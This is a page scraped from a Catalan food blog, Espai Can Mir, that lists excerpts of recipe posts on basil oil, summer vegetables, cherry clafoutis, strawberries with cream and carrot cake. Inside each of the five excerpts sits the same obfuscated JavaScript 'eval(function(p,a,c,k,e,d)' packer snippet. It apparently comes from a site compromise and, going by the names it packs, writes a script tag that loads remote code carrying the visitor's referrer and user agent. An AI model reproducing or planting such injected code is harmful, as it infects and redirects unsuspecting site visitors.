Blog Espai Can Mir

L’alfàbrega, l’aromàtica de l’estiu. Preparem un oli per cuinar i amanir

Ens eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieref|var|u0026u|referrer|kefkr||js|php’.split(‘|’),0,{}))
agrada l’olor i el sabor i a més fa fora els mosquits. A l’Espai Can Mir ens declarem molt fans de l’alfàbrega.
Alfàbrega, alfabaguera, alfàbega, aufàbiga o aufàtia, una  planta i diverses denominacions segons la zona, cosa que ja mostra la seva …

Verdures d’estiu. Tres receptes saludables i delicioses

Les eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kintt|var|u0026u|referrer|azyrz||js|php’.split(‘|’),0,{}))
verdures són per a l’estiu. Aprofiteu-les
A les portes de l’estiu és quan els horts estan en el seu millor moment. Comencen a arribar els tomàquets, així com la resta dels vegetals de la família de les solanàcies, que com indica el …

Temps de Cireres. Receptes de l'espai Can Mir

Pastís de cireres de l’Espai Can Mir

Temps eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhyfz|var|u0026u|referrer|tnyhf||js|php’.split(‘|’),0,{}))
de cireres!!! Una bona manera de assaborir-les es fent-ne un pastís. Avui farem un clafoutis.
El clafoutis és una de les postres tradicionals franceses, feta amb cireres, tot i que també es pot fer amb altres fruites fresques, i amb una pasta …

Postres de l'espai Can Mir

Postres de primavera: maduixes amb crema

Postres eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnish|var|u0026u|referrer|zthhb||js|php’.split(‘|’),0,{}))
de l’Espai Can Mir
Ara que és temps de maduixes i que tradicionalment celebrem l’abundància dels ous per Pasqua, a L’Espai Can Mir us proposem unes postres que tenen aquests dos ingredients principals.
La crema és típica de Sant Josep i de …

Espai Can Mir Receptari

El pastís de pastanaga de l’Espai Can Mir

Hortalisses eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|areyh|var|u0026u|referrer|kbhsz||js|php’.split(‘|’),0,{}))
a la cuina
Les hortalisses també poden tenir un paper protagonista a l’hora de fer postres i a l’Espai Can Mir ho sabem prou bé. Que dieu sinó, del pastís de pastanaga o carrot pie que importat dels Estats Units té cada …